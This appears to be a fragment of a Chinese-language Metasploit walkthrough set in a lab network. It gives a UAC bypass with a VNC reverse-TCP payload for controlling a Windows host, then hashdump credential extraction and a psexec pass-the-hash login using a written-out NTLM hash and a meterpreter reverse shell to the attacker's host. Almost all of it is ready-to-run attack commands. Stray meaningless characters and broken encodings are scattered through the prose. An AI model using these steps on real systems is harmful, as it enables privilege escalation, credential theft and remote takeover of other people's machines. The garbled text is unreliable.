獲取圖形化payload
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 5
msf exploit(bypassuac) > set payload windows/vncinject/reverse_tcp
msf exploit(bypassuac) > exploit
msf exploit(bypassuac) > set viewonly false ?如果想操作目標(biāo)主機(jī)倒慧，可以把viewonly設(shè)置成false
Passthehash
get到system權(quán)限后闸英，使用hashdump獲取用戶名和密碼的hash值
meterpreter > hashdump
Psexec 模塊之 Passthehash(使用“用戶名+密碼的hash值”來登錄目標(biāo)系統(tǒng)?)
在本次實驗中虑灰，要確保目標(biāo)主機(jī)的UAC是關(guān)閉的游盲。
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set rhost 192.168.80.33
msf exploit(psexec) > set smbuser a
msf exploit(psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.80.163
msf exploit(psexec) > exploit?
